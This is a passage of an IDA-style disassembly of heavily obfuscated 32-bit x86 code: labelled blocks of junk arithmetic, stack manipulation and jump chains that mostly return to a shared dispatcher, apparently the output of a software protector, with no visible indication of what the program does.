loc_59C3F4 ; --------------------------------------------------------------------------- loc_59848B: ; CODE XREF: sub_57DD3A+1F8E4j push 3EFAh mov [esp+6Ch+var_6C], edx push ecx push 57965D50h pop ecx dec ecx and ecx, 51E073BDh xor ecx, 51805129h mov edx, ecx jmp loc_59B73E ; --------------------------------------------------------------------------- loc_5984AE: ; CODE XREF: sub_57DD3A+21C6Cj pop ebx sub esi, edi pop edi add esi, eax push 392h mov [esp+6Ch+var_6C], edx mov edx, 388D7447h neg edx jmp loc_593DF3 ; --------------------------------------------------------------------------- loc_5984C8: ; CODE XREF: sub_57DD3A+13861j pop bx push ebx mov bh, 4Ah or bh, 6Eh shl bh, 1 inc bh push cx jmp loc_59E775 ; --------------------------------------------------------------------------- loc_5984DB: ; CODE XREF: sub_57DD3A+1CFA6j pop ebp pop [esp+0Ch+var_E+2] pop esp sar byte ptr [esp+4+var_4], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5984E9: ; CODE XREF: sub_57DD3A+214CBj sub ebp, 5D87555Fh jmp loc_5905C5 ; --------------------------------------------------------------------------- loc_5984F4: ; CODE XREF: sub_57DD3A+1C54Dj add edx, 6E8344C4h sub edx, 60DB270Ch xor edx, 113A6DECh xor edx, 1D20A41h xor esi, edx jmp loc_5986E1 ; --------------------------------------------------------------------------- loc_598513: ; CODE XREF: sub_57DD3A+17772j add edi, 51AB00EAh add edi, eax jmp loc_599377 ; --------------------------------------------------------------------------- push [esp+42h+var_42] jmp loc_58EEC1 ; --------------------------------------------------------------------------- loc_598528: ; CODE XREF: sub_57DD3A+1B754j add esp, 4 push edi mov edi, 4AAF7F2Bh and edi, 77971A79h push 109Fh mov [esp+4Ah+var_4C+2], ecx mov ecx, 3D751692h sub esp, 4 jmp loc_5A1666 ; --------------------------------------------------------------------------- loc_59854F: ; CODE XREF: sub_57DD3A+2199Dj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+4Eh+var_50+2] pop esp shl edi, 4 jmp loc_597D01 ; --------------------------------------------------------------------------- loc_598569: ; CODE XREF: sub_57DD3A+17EB5j mov [esp+26h+var_26], eax mov eax, 12427FBBh mov edx, eax jmp loc_598C68 ; --------------------------------------------------------------------------- loc_598578: ; DATA XREF: sub_57DD3A+1034Eo mov cx, word ptr [esp+26h+var_26] push 14D3h mov [esp+2Ah+var_2A], eax push 5372h mov [esp+2Eh+var_2E], esp push ecx mov ecx, 4 add [esp+32h+var_2E], ecx pop ecx pop eax jmp loc_58EC67 ; --------------------------------------------------------------------------- loc_59859D: ; CODE XREF: sub_57DD3A+22B46j push ecx push edi mov edi, 4 mov ecx, edi jmp loc_598902 ; --------------------------------------------------------------------------- loc_5985AB: ; CODE XREF: sub_57DD3A+14213j mov ebp, edx pop edx push 394Bh mov [esp+0], ebx push esi mov esi, 43AB427Ah mov ebx, 0F477EF0Bh xor ebx, esi pop esi add ebp, ebx pop ebx add esi, ebp pop ebp jmp loc_59FAE3 ; --------------------------------------------------------------------------- loc_5985CF: ; CODE XREF: sub_57DD3A+177C7j add ecx, edx add ecx, 33215CF3h push edx push 20F7h mov [esp+0], ebx mov bh, al mov dh, bh push dword ptr [esp+0] pop ebx add esp, 4 push eax jmp loc_59079E ; --------------------------------------------------------------------------- loc_5985F4: ; CODE XREF: sub_57DD3A+1D821j xchg edi, [esp+0] pop esp idiv cx push small 5AA2h mov word ptr [esp+46h+var_46], dx push ax pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59860B: ; CODE XREF: sub_57DD3A+1F820j add edi, ebx push [esp+4Ch+var_4C] pop ebx push ecx jmp loc_5A1CA7 ; --------------------------------------------------------------------------- loc_598617: ; CODE XREF: sub_57DD3A+1A20Bj sub esi, 0E3573A2h sub esi, eax add esi, 0E3573A2h jmp loc_5A00DF ; --------------------------------------------------------------------------- loc_59862A: ; CODE XREF: sub_57DD3A+1DDE4j mov ebp, 438E4292h sub ebp, 45BD3BC5h sub ebp, 3D512FA6h sub ebp, 0B6C09734h jmp loc_59E4EC ; --------------------------------------------------------------------------- loc_598646: ; CODE XREF: sub_57DD3A+11319j pop [esp+3Ch+var_3E+2] mov esp, [esp+38h+var_3A+2] dec byte ptr [esp+38h+var_3A+2] pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598655: ; CODE XREF: sub_57DD3A+1103Aj mov [esp+26h+var_26], ebp mov ebp, 53201EF0h or edi, ebp pop ebp push eax mov eax, 54712h xor edi, eax mov eax, [esp+26h+var_26] jmp loc_5912E5 ; --------------------------------------------------------------------------- loc_598670: ; CODE XREF: sub_57DD3A+24D7Bj xchg esi, ecx jmp loc_5A0E96 ; --------------------------------------------------------------------------- loc_598677: ; CODE XREF: sub_57DD3A+21E98j add dh, ah add dh, 58h pop eax push edx mov dl, 3Ah jmp loc_58E917 ; --------------------------------------------------------------------------- loc_598685: ; CODE XREF: sub_57DD3A+1BBB4j add ebx, 4 sub ebx, 4 xchg ebx, [esp+26h+var_26] pop esp mov [esp+22h+var_22], eax push esi mov esi, 79A55CCEh shr esi, 5 xchg edx, esi jmp loc_598237 ; --------------------------------------------------------------------------- loc_5986A8: ; CODE XREF: sub_57DD3A+150E2j mov esi, 21072048h add ecx, esi pop esi push [esp+2Ah+var_2A] pop ebx jmp loc_591F5F ; --------------------------------------------------------------------------- loc_5986B9: ; CODE XREF: sub_57DD3A+23646j pop esp push esi mov esi, 4B875EF2h jmp loc_590F85 ; --------------------------------------------------------------------------- loc_5986C5: ; CODE XREF: sub_57DD3A+15412j push 482Dh jmp loc_599A4D ; --------------------------------------------------------------------------- loc_5986CF: ; CODE XREF: sub_57DD3A+198DCj add edi, ebx jmp loc_596205 ; --------------------------------------------------------------------------- loc_5986D6: ; CODE XREF: sub_57DD3A+11F6Cj push eax mov al, 0D5h add bh, al pop eax jmp loc_59A02B ; --------------------------------------------------------------------------- loc_5986E1: ; CODE XREF: sub_57DD3A+1A7D4j pop edx add esi, 0F5D4CFF2h add eax, 41F83731h jmp loc_599C19 ; --------------------------------------------------------------------------- loc_5986F2: ; CODE XREF: sub_57DD3A+11B95j pop edx push ecx mov ecx, 3D90446Ah push eax mov eax, 294464C6h add ecx, eax jmp loc_58EDE4 ; --------------------------------------------------------------------------- loc_598706: ; CODE XREF: sub_57DD3A+24D97j push [esp+7Ch+var_78] pop eax pop [esp+7Ch+var_7C] jmp loc_59B971 ; --------------------------------------------------------------------------- loc_598713: ; CODE XREF: sub_57DD3A+21D97j not bx add bx, 621Ch add di, bx jmp loc_59E5F4 ; --------------------------------------------------------------------------- loc_598723: ; CODE XREF: sub_57DD3A+1C147j add eax, 4 xchg eax, [esp+78h+var_78] mov esp, [esp+78h+var_78] push [esp+78h+var_78] push [esp+7Ch+var_7C] pop eax sub esp, 4 mov [esp+80h+var_80], esi mov esi, esp add esi, 4 push eax jmp loc_58EA8B ; --------------------------------------------------------------------------- loc_598749: ; CODE XREF: sub_57DD3A+13A3Fj xor ebp, ecx xor ecx, ebp xor ebp, ecx jmp loc_59A72D ; --------------------------------------------------------------------------- loc_598754: ; CODE XREF: sub_57DD3A+23540j push 947h mov [esp+5Ch+var_5C], ebp mov ebp, 702060E4h add eax, 4A3068D4h jmp loc_59145B ; --------------------------------------------------------------------------- loc_59876B: ; CODE XREF: sub_57DD3A+15836j add edx, 4 add edx, 4 xchg edx, [esp+1Ch+var_1E+2] jmp loc_59A1FF ; --------------------------------------------------------------------------- loc_59877F: ; CODE XREF: sub_57DD3A+1142Bj add eax, ecx pop ecx add eax, ecx jmp loc_5977ED ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598791: ; CODE XREF: sub_57DD3A+1F4E7j add ebx, ebp pop ebp xchg ebx, [esp+4Ah+var_4C+2] jmp loc_59AD56 ; --------------------------------------------------------------------------- loc_59879C: ; CODE XREF: sub_57DD3A+17560j mov ecx, 2EE1B484h jmp loc_5A261E ; --------------------------------------------------------------------------- loc_5987A6: ; CODE XREF: sub_57DD3A+2277Fj pop eax pop [esp+5Ch+var_5C] pop esp or edx, eax shl edx, 1 push 24AAh mov [esp+58h+var_58], esi mov esi, 59A83819h push 47D7h mov [esp+5Ch+var_5C], edx jmp loc_59E579 ; --------------------------------------------------------------------------- loc_5987C9: ; CODE XREF: sub_57DD3A+1A1F6j mov [esp+3Ch+var_3E+2], ecx mov ch, 78h shl ch, 2 sub ch, 3Eh not ch push eax push edx mov dl, 0ACh jmp loc_5A005C ; --------------------------------------------------------------------------- mov ax, word ptr [esp+44h+var_46+2] push 783Ah mov [esp], ebp push esp pop ebp push edi mov edi, 14A66EDAh push ebx push 25A2h mov [esp+54h+var_54], edi mov edi, 325920F3h mov ebx, 41D67DDCh xor ebx, edi pop edi not ebx shr ebx, 3 jmp loc_5A1B26 ; --------------------------------------------------------------------------- loc_598813: ; CODE XREF: sub_57DD3A+235BEj sub dh, 5Fh sub dh, al push ecx mov cl, 0FBh not cl shr cl, 1 and cl, 45h dec cl not cl inc cl sub cl, 0A2h jmp loc_591625 ; --------------------------------------------------------------------------- loc_598830: ; CODE XREF: sub_57DD3A+148E5j pop esp pop dword ptr [eax] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598838: ; CODE XREF: sub_57DD3A+16015j add ebx, 0D6757A80h and edi, ebx jmp loc_597C19 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push esi push 6286h mov [esp+46h+var_46], ebx push ebx mov ebx, esp jmp loc_59B17D ; --------------------------------------------------------------------------- loc_598859: ; CODE XREF: sub_57DD3A+1CEBAj mov edi, [esp+4Ah+var_4C+2] add esp, 4 xor eax, [esp+46h+var_46] xor [esp+46h+var_46], eax xor eax, [esp+46h+var_46] jmp loc_59DC46 ; --------------------------------------------------------------------------- loc_598870: ; CODE XREF: sub_57DD3A+1EDB9j mov ebp, 55222139h or ebp, 0CCB1889h jmp loc_59E453 ; --------------------------------------------------------------------------- loc_598880: ; CODE XREF: sub_57DD3A+244B8j push ebp mov ebp, 6AFF245Dh shr ebp, 5 and ebp, 34A75E13h jmp loc_59E9BF ; --------------------------------------------------------------------------- loc_598894: ; CODE XREF: sub_57DD3A+16272j inc edi add edi, 43705051h or edi, 694E42F1h jmp loc_593EF1 ; --------------------------------------------------------------------------- loc_5988A6: ; CODE XREF: sub_57DD3A+22138j push eax mov eax, esp add eax, 4 add eax, 4 push eax push [esp+56h+var_54+2] pop eax jmp loc_58EF3B ; --------------------------------------------------------------------------- loc_5988BE: ; CODE XREF: sub_57DD3A+15D35j sub esp, 4 jmp loc_59F2F3 ; --------------------------------------------------------------------------- loc_5988C6: ; CODE XREF: sub_57DD3A+15616j pop edi jmp loc_593030 ; --------------------------------------------------------------------------- loc_5988CC: ; CODE XREF: sub_57DD3A+16738j shr ebx, 8 push edi mov edi, 3CDE735Ah inc edi add edi, 142B07B2h and ebx, edi pop edi push edi mov edi, 3EAB20C0h jmp loc_597F6C ; --------------------------------------------------------------------------- loc_5988EA: ; CODE XREF: sub_57DD3A+1D981j mov al, cl not al push edx jmp loc_59AD0E ; --------------------------------------------------------------------------- loc_5988F4: ; CODE XREF: sub_57DD3A+1B705j pop ebx add esp, 4 mov edx, eax jmp loc_590E97 ; --------------------------------------------------------------------------- loc_598902: ; CODE XREF: sub_57DD3A+1A86Cj pop edi add ebx, ecx jmp loc_5917AF ; --------------------------------------------------------------------------- loc_59890A: ; CODE XREF: sub_57DD3A+21316j add esi, 6E2F032Ah pop eax xor esi, [esp+2Ah+var_2A] xor [esp+2Ah+var_2A], esi xor esi, [esp+2Ah+var_2A] pop esp movzx ecx, al push 4DB7h mov [esp+2Ah+var_2A], ecx jmp loc_58E353 ; --------------------------------------------------------------------------- mov eax, [esp+2Ah+var_2A] push 5B07h mov [esp+2Eh+var_2E], eax push esp push [esp+32h+var_32] pop eax add esp, 4 push edx mov edx, 4 push edx mov edx, 77E157C1h add edx, 0FFFFFFFFh sub esp, 4 mov [esp+3Ah+var_3A], ebp mov ebp, 155069BFh sub edx, ebp jmp loc_58EAA8 ; --------------------------------------------------------------------------- loc_598968: ; CODE XREF: sub_57DD3A+1CD26j pop eax shr edx, 2 add edx, 638D39B1h sub esp, 4 mov [esp+3Ah+var_3A], edx jmp loc_590B2B ; --------------------------------------------------------------------------- loc_598980: ; CODE XREF: sub_57DD3A+2403Dj sub ebp, ebx push [esp+3Ah+var_3A] pop ebx add esp, 4 jmp loc_5A26E3 ; --------------------------------------------------------------------------- loc_598991: ; CODE XREF: sub_57DD3A+21247j dec ecx dec ecx not ecx jmp loc_59A8A5 ; --------------------------------------------------------------------------- loc_59899A: ; CODE XREF: sub_57DD3A+245C5j sub esp, 4 mov [esp+3Ah+var_3A], edx mov dl, 0C9h jmp loc_5A2BAE ; --------------------------------------------------------------------------- loc_5989AA: ; CODE XREF: sub_57DD3A+18CF0j mov edx, [esp+4Eh+var_50+2] sub esp, 4 mov [esp+52h+var_54+2], ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+52h+var_54+2] pop esp push ebp mov ebp, 104538Fh shl ebp, 7 neg ebp push edx mov edx, 8229C784h add ebp, edx pop edx add edx, ebp pop ebp push ecx mov ecx, 3CE0560Eh xor ecx, 3CE0560Ah add edx, ecx mov ecx, [esp+52h+var_54+2] jmp loc_59FB9E ; --------------------------------------------------------------------------- loc_5989F5: ; CODE XREF: sub_57DD3A+11AB2j mov ebx, 4A763BFEh push ebp mov ebp, 47E12075h inc ebp push 499Ch mov [esp+4Eh+var_50+2], ebx mov ebx, 3721144h and ebx, 4F42530Dh sub ebx, 0C676B2CDh xor ebp, ebx mov ebx, [esp+4Eh+var_50+2] add esp, 4 xor ebp, 0A9C7E7Ah jmp loc_59093B ; --------------------------------------------------------------------------- loc_598A2D: ; CODE XREF: sub_57DD3A+1C6B6j and ebp, esi jmp loc_5A222D ; --------------------------------------------------------------------------- loc_598A34: ; CODE XREF: sub_57DD3A+1B9FDj add ebx, ecx pop ecx mov ecx, ebx pop ebx or ebx, ecx pop ecx not ebx add ebx, 1903681Ch xor ebx, 9D43C83Ah mov esi, ebx pop ebx and eax, esi push [esp+3Ah+var_3A] pop esi add esp, 4 shr eax, 0Eh xor eax, ecx push eax xchg ecx, [esp+3Ah+var_3A] push 1EBDh mov [esp+3Eh+var_3E], ecx xor [esp+3Eh+var_3E], eax xor eax, [esp+3Eh+var_3E] xor [esp+3Eh+var_3E], eax push eax not [esp+42h+var_42] pop eax xchg eax, [esp+3Eh+var_3E] push [esp+3Eh+var_3E] pop ecx add esp, 4 xor [esp+3Ah+var_3A], ecx xor ecx, [esp+3Ah+var_3A] jmp loc_59E907 ; --------------------------------------------------------------------------- loc_598A8E: ; CODE XREF: sub_57DD3A+1B0CDj pop ebp jmp loc_592538 ; --------------------------------------------------------------------------- loc_598A94: ; CODE XREF: sub_57DD3A+1D0B7j sub esi, 1E843F39h add esi, ebp jmp loc_59E24F ; --------------------------------------------------------------------------- loc_598AA1: ; CODE XREF: sub_57DD3A+1C5E4j xor edx, 4466982h jmp loc_59D483 ; --------------------------------------------------------------------------- loc_598AAC: ; CODE XREF: sub_57DD3A+252C6j xor ecx, eax jmp loc_5A0B11 ; --------------------------------------------------------------------------- loc_598AB3: ; CODE XREF: sub_57DD3A+22EB4j mov ebp, 76DF5753h xor ebp, ebx mov ebx, [esp+36h+var_36] add esp, 4 sub eax, 610E0FFFh jmp loc_59E117 ; --------------------------------------------------------------------------- loc_598ACD: ; CODE XREF: sub_57DD3A+245DEj pop edx add esp, 4 push ebp push [esp+2Eh+var_2A] pop ebp pop [esp+2Eh+var_2E] mov esp, [esp+2Ah+var_2A] sub esp, 4 mov [esp+2Eh+var_2E], ebx push eax sub esp, 4 mov [esp+36h+var_36], ecx push 499Fh jmp loc_58F0EC ; --------------------------------------------------------------------------- loc_598AF7: ; CODE XREF: sub_57DD3A+19388j mov ebx, esp push edi jmp loc_58EE35 ; --------------------------------------------------------------------------- loc_598AFF: ; CODE XREF: sub_57DD3A+16E71j ; sub_57DD3A+1A3D4j ... mov ebx, [esp+7Ah+var_7C+2] sub esp, 4 mov [esp+7Eh+var_80+2], ebx mov ebx, esp push ecx jmp loc_5970C7 ; --------------------------------------------------------------------------- loc_598B10: ; CODE XREF: sub_57DD3A+12054j xor ebp, ebx mov ebx, [esp+36h+var_36] add esp, 4 or ebp, 5C350567h sub ebp, 23C06D75h sub esp, 4 mov [esp+36h+var_36], eax push edi jmp loc_59A5FC ; --------------------------------------------------------------------------- loc_598B30: ; CODE XREF: sub_57DD3A+17ADCj pop edx pop ebx push eax mov eax, 4DE03816h xor eax, 4DE03812h push esi jmp loc_59E47B ; --------------------------------------------------------------------------- loc_598B43: ; CODE XREF: sub_57DD3A+1A28Dj sub eax, ebp jmp loc_59F57C ; --------------------------------------------------------------------------- loc_598B4A: ; CODE XREF: sub_57DD3A+15FA4j imul cl movzx cx, ah jmp loc_5A1AF2 ; --------------------------------------------------------------------------- loc_598B55: ; CODE XREF: sub_57DD3A+1C660j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+42h+var_42] pop esp jmp loc_59AF68 ; --------------------------------------------------------------------------- loc_598B6D: ; CODE XREF: sub_57DD3A+182D3j add ecx, 3F01435Dh or esi, ecx jmp loc_59548D ; --------------------------------------------------------------------------- loc_598B7A: ; CODE XREF: sub_57DD3A+204EFj push edx mov edx, 0E1A5B9F5h xor ebp, edx pop edx jmp loc_594B3F ; --------------------------------------------------------------------------- loc_598B88: ; DATA XREF: sub_57DD3A+1050Ao mov ax, word ptr [esp+38h+var_3A+2] push ebx jmp loc_599583 ; --------------------------------------------------------------------------- loc_598B92: ; CODE XREF: sub_57DD3A+20DC4j add [esp+3Ch+var_3E+2], 18C10272h jmp loc_5A14F4 ; --------------------------------------------------------------------------- loc_598B9E: ; CODE XREF: sub_57DD3A+21DA4j push [esp+3Ch+var_3E+2] pop esi push ebp push 44B4h mov [esp+44h+var_46+2], esp jmp loc_5A0929 ; --------------------------------------------------------------------------- loc_598BB0: ; CODE XREF: sub_57DD3A+10AB2j xchg ebp, [esp+14h+var_16+2] pop esp xor ebx, [esp+10h+var_12+2] xor [esp+10h+var_12+2], ebx xor ebx, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] mov word ptr [esp+10h+var_12+2], cx movzx cx, al push cx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598BD0: ; CODE XREF: sub_57DD3A+108F0j add edx, ebx push ebx mov ebx, 0 add ebx, edx mov [ebx], al pop ebx pop edx jmp loc_5A0BD4 ; --------------------------------------------------------------------------- loc_598BE3: ; CODE XREF: sub_57DD3A+11996j pop ebx push [esp+7Ch+var_7C] pop eax add esp, 4 jmp loc_593624 ; --------------------------------------------------------------------------- loc_598BF0: ; CODE XREF: sub_57DD3A+15050j pop [esp+7Ch+var_7C] pop esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+78h+var_78] pop esp mov [esp+74h+var_74], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp+74h+var_74] mov esp, [esp+74h+var_74] imul ecx, eax push ecx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598C25: ; CODE XREF: sub_57DD3A+1D559j pop [esp+7Ch+var_7C] jmp loc_592C69 ; --------------------------------------------------------------------------- loc_598C2D: ; CODE XREF: sub_57DD3A+21981j add ecx, 504B013Ah push edx mov edx, 4D757C0Fh inc edx jmp loc_592B44 ; --------------------------------------------------------------------------- loc_598C3F: ; CODE XREF: sub_57DD3A+1EBBFj pop esi add ebx, eax pop eax xor ebx, [esp+74h+var_74] jmp loc_5A0CB4 ; --------------------------------------------------------------------------- loc_598C4B: ; CODE XREF: sub_57DD3A+19DB4j push dx jmp loc_5A32EA ; --------------------------------------------------------------------------- loc_598C52: ; CODE XREF: sub_57DD3A+1CFF6j add edx, eax sub edx, 0C0F34F5h jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598C5F: ; CODE XREF: sub_57DD3A+21E44j push [esp+8+var_4] jmp loc_596458 ; --------------------------------------------------------------------------- loc_598C68: ; CODE XREF: sub_57DD3A+1A839j mov eax, [esp+26h+var_26] add esp, 4 neg edx jmp loc_598FB0 ; --------------------------------------------------------------------------- loc_598C78: ; CODE XREF: sub_57DD3A+16696j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+60h+var_60] pop esp mov ebp, esi pop esi add edi, 269A3E4Dh add edi, ebp sub edi, 269A3E4Dh mov ebp, [esp+58h+var_58] add esp, 4 push 63AEh mov [esp+58h+var_58], edx mov edx, 4724995h sub edx, 4724991h add edi, edx pop edx xor edi, [esp+54h+var_54] jmp loc_58F2D8 ; --------------------------------------------------------------------------- loc_598CBF: ; CODE XREF: sub_57DD3A+15E5Aj mov edi, 2 add ecx, edi pop edi xor ecx, [esp+44h+var_46+2] jmp loc_59838B ; --------------------------------------------------------------------------- loc_598CCF: ; CODE XREF: sub_57DD3A+1B25Cj sub eax, 63D137Bh mov edx, [esp+44h+var_46+2] jmp loc_5A2827 ; --------------------------------------------------------------------------- loc_598CDC: ; CODE XREF: sub_57DD3A+15428j mov [esp+10h+var_12+2], eax jmp loc_59C514 ; --------------------------------------------------------------------------- loc_598CE4: ; CODE XREF: sub_57DD3A+118DBj mov ecx, [esp+70h+var_70] add esp, 4 sub eax, 124F1075h add eax, ebp add eax, 124F1075h pop ebp add eax, edi push edx mov edx, 195B7303h shr edx, 4 jmp loc_596DFC ; --------------------------------------------------------------------------- loc_598D07: ; CODE XREF: sub_57DD3A+12ACAj mov [esp+20h+var_22+2], ecx push 54370BE9h jmp loc_58F076 ; --------------------------------------------------------------------------- loc_598D14: ; CODE XREF: sub_57DD3A+1E286j push edi push [esp+28h+var_26+2] pop edi pop [esp+28h+var_2A+2] pop esp mov [esp+20h+var_22+2], eax push ebp push 5FCC0766h push [esp+28h+var_2A+2] pop ebp add esp, 4 jmp loc_59F8F7 ; --------------------------------------------------------------------------- loc_598D33: ; CODE XREF: sub_57DD3A+21552j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+24h+var_26+2] mov esp, [esp+24h+var_26+2] push ebx jmp loc_590A0E ; --------------------------------------------------------------------------- loc_598D4D: ; CODE XREF: sub_57DD3A+10A1Ej pop eax pop ebp add ebp, 4 jmp loc_59071E ; --------------------------------------------------------------------------- loc_598D5A: ; CODE XREF: sub_57DD3A+18071j add edx, esi mov esi, [esp+10h+var_12+2] add esp, 4 inc edx push edi mov edi, 0B9FC7161h xor edx, edi pop edi sub ebx, 51B65D8h sub ebx, edx add ebx, 51B65D8h mov edx, [esp+0Ch+var_E+2] add esp, 4 sub ebx, 0FFFFFFFFh shl ebx, 5 sub esp, 4 jmp loc_599E2A ; --------------------------------------------------------------------------- loc_598D91: ; CODE XREF: sub_57DD3A+14CBDj push eax mov eax, 0E4118AEh or eax, 45030CA3h xor eax, 5E7E351Ch add edi, eax pop eax mov esi, [esp+16h+var_16] add esp, 4 retn ; --------------------------------------------------------------------------- jmp loc_58E353 ; --------------------------------------------------------------------------- loc_598DB0: ; CODE XREF: sub_57DD3A+17BFEj shr esi, 7 xor esi, 1C06730h push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+7Ch+var_7C] pop esp jmp loc_59B062 ; --------------------------------------------------------------------------- push dword ptr [edi+3Ch] push eax push ebp mov ebp, 48B2C98h push ebp pop eax mov ebp, [esp+84h+var_84] jmp loc_59834A ; --------------------------------------------------------------------------- mov ax, word ptr [esp+84h+var_84] push ecx mov ecx, esp jmp loc_592215 ; --------------------------------------------------------------------------- loc_598DF1: ; CODE XREF: sub_57DD3A+12507j sub edx, 4 jmp loc_59D7B2 ; --------------------------------------------------------------------------- loc_598DF9: ; CODE XREF: sub_57DD3A+22C13j sub ebp, 64D5377h sub ebp, 0F43D7C11h mov ebx, ebp jmp loc_598A8E ; --------------------------------------------------------------------------- loc_598E0C: ; CODE XREF: sub_57DD3A+1E2A8j mov [esp+2Eh+var_2E], ebx jmp loc_5903B8 ; --------------------------------------------------------------------------- loc_598E14: ; CODE XREF: sub_57DD3A+190CEj push ecx mov ecx, 4 push edi jmp loc_592FF5 ; --------------------------------------------------------------------------- loc_598E20: ; CODE XREF: sub_57DD3A+1C95Ej add ecx, esi push 0A13h jmp loc_5968C0 ; --------------------------------------------------------------------------- loc_598E2C: ; CODE XREF: sub_57DD3A+12B74j add esp, 4 mov cl, dh mov edx, [esp+32h+var_32] push edi push esp pop edi sub esp, 4 mov [esp+3Ah+var_3A], ebx mov ebx, 4 jmp loc_5A0140 ; --------------------------------------------------------------------------- loc_598E4A: ; CODE XREF: sub_57DD3A+19D96j add eax, 0BCE4E51Bh xor edx, eax pop eax not edx xor edx, 0C9AA486Fh jmp loc_59B2EB ; --------------------------------------------------------------------------- mov ax, [esp+0] push 1D5Ch jmp loc_59B0F7 ; --------------------------------------------------------------------------- loc_598E6D: ; CODE XREF: sub_57DD3A+219E9j push edi mov edi, 4 add ecx, edi jmp loc_590CCD ; --------------------------------------------------------------------------- loc_598E7A: ; CODE XREF: sub_57DD3A+1C23Bj dec edi sub edi, 80889F8Ah add ebx, edi pop edi push 143Ah mov [esp+12h+var_12], edi jmp loc_59329C ; --------------------------------------------------------------------------- loc_598E91: ; CODE XREF: sub_57DD3A+1395Fj xor ebp, [esp+2Eh+var_2E] xor [esp+2Eh+var_2E], ebp xor ebp, [esp+2Eh+var_2E] jmp loc_593A4D ; --------------------------------------------------------------------------- loc_598E9F: ; CODE XREF: sub_57DD3A+14935j shl ecx, 3 and ecx, 54E800FDh xor ecx, 14902DE6h xor ebp, ecx pop ecx push ebp inc [esp+1Ch+var_1E+2] jmp loc_594D97 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+1Ch+var_1E+2] push 3810h mov [esp+20h+var_22+2], edi mov edi, esp push 4D47h mov [esp+24h+var_26+2], ecx mov ecx, 4 sub esp, 4 jmp loc_591828 ; --------------------------------------------------------------------------- loc_598EDD: ; CODE XREF: sub_57DD3A+1FF9Dj add edx, 4 xchg edx, [esp+28h+var_2A+2] jmp loc_59F276 ; --------------------------------------------------------------------------- loc_598EE8: ; CODE XREF: sub_57DD3A+2287Dj pop edx add eax, ebx push edx mov edx, 71C3186Eh add edx, 8F9635Dh or edx, 68E04AAAh xor edx, 479A07EAh sub eax, edx mov edx, [esp+28h+var_2A+2] add esp, 4 jmp loc_591ABC ; --------------------------------------------------------------------------- loc_598F10: ; CODE XREF: sub_57DD3A+10F6Ej add edx, 4 add edx, 4 xchg edx, [esp+1Eh+var_1E] pop esp jmp loc_59561C ; --------------------------------------------------------------------------- loc_598F22: ; CODE XREF: sub_57DD3A+1A0DEj push esi push [esp+2Ch+var_2A+2] pop esi jmp loc_599451 ; --------------------------------------------------------------------------- loc_598F2D: ; CODE XREF: sub_57DD3A+24004j shr dh, 3 add dh, 0F2h sub ah, dh jmp loc_59F413 ; --------------------------------------------------------------------------- loc_598F3A: ; CODE XREF: sub_57DD3A+21EC1j push [esp+2Ch+var_2E+2] jmp loc_595746 ; --------------------------------------------------------------------------- loc_598F42: ; CODE XREF: sub_57DD3A+2521Dj add edx, eax mov eax, [esp+30h+var_32+2] jmp loc_59BFA1 ; --------------------------------------------------------------------------- loc_598F4C: ; CODE XREF: sub_57DD3A+14FC4j mov esi, 0D656D08h push edx mov edx, 5251168h or esi, edx jmp loc_59EF50 ; --------------------------------------------------------------------------- loc_598F5E: ; CODE XREF: sub_57DD3A+11BE8j mov edi, [esp+78h+var_78] add esp, 4 push eax jmp loc_59E4AB ; --------------------------------------------------------------------------- loc_598F6D: ; CODE XREF: sub_57DD3A+22B38j xor eax, [esp+78h+var_78] pop esp push edx push ecx mov ecx, esp add ecx, 4 jmp loc_594176 ; --------------------------------------------------------------------------- loc_598F80: ; CODE XREF: sub_57DD3A+1FACFj mov ah, ch mov ecx, [esp+7Ch+var_7C] add esp, 4 pop edx jmp loc_58ED19 ; --------------------------------------------------------------------------- loc_598F91: ; CODE XREF: sub_57DD3A+22939j sub eax, 30052AD3h jmp loc_598CCF ; --------------------------------------------------------------------------- loc_598F9B: ; CODE XREF: sub_57DD3A+1387Aj sub esp, 4 mov [esp+18h+var_1A+2], ebx mov bl, 0A4h xor bl, 0C4h and bl, 23h dec bl jmp loc_59A61C ; --------------------------------------------------------------------------- loc_598FB0: ; CODE XREF: sub_57DD3A+1AF39j add edx, 63F641BEh shl edx, 8 dec edx or edx, 71157E51h sub edx, 8D107014h add edi, edx pop edx jmp loc_59DD3D ; --------------------------------------------------------------------------- loc_598FCE: ; CODE XREF: sub_57DD3A+20AA9j add cl, 30h add bl, 0B1h sub bl, cl push edx jmp loc_58F222 ; --------------------------------------------------------------------------- loc_598FDC: ; CODE XREF: sub_57DD3A+176FBj add esi, edi pop edi sub esi, 4 xchg esi, [esp+32h+var_32] pop esp mov [esp+2Eh+var_2E], ecx push 25D1h jmp loc_59D4D3 ; --------------------------------------------------------------------------- loc_598FF6: ; CODE XREF: sub_57DD3A+255BFj sub cl, 6 pop bx jmp loc_594874 ; --------------------------------------------------------------------------- loc_599000: ; CODE XREF: sub_57DD3A+19FE6j push 522Dh mov [esp+5Eh+var_60+2], ebx push ecx mov ecx, 38D16270h jmp loc_59F744 ; --------------------------------------------------------------------------- loc_599013: ; CODE XREF: sub_57DD3A+170A0j pop eax add esp, 4 push 0B90h mov [esp+14h+var_16+2], edx jmp loc_59C80F ; --------------------------------------------------------------------------- loc_599024: ; CODE XREF: sub_57DD3A+23EC7j push ebp sub esp, 4 mov [esp+1Ch+var_1E+2], edx jmp loc_591F48 ; --------------------------------------------------------------------------- loc_599030: ; CODE XREF: sub_57DD3A+18450j dec ecx push ebp push edi 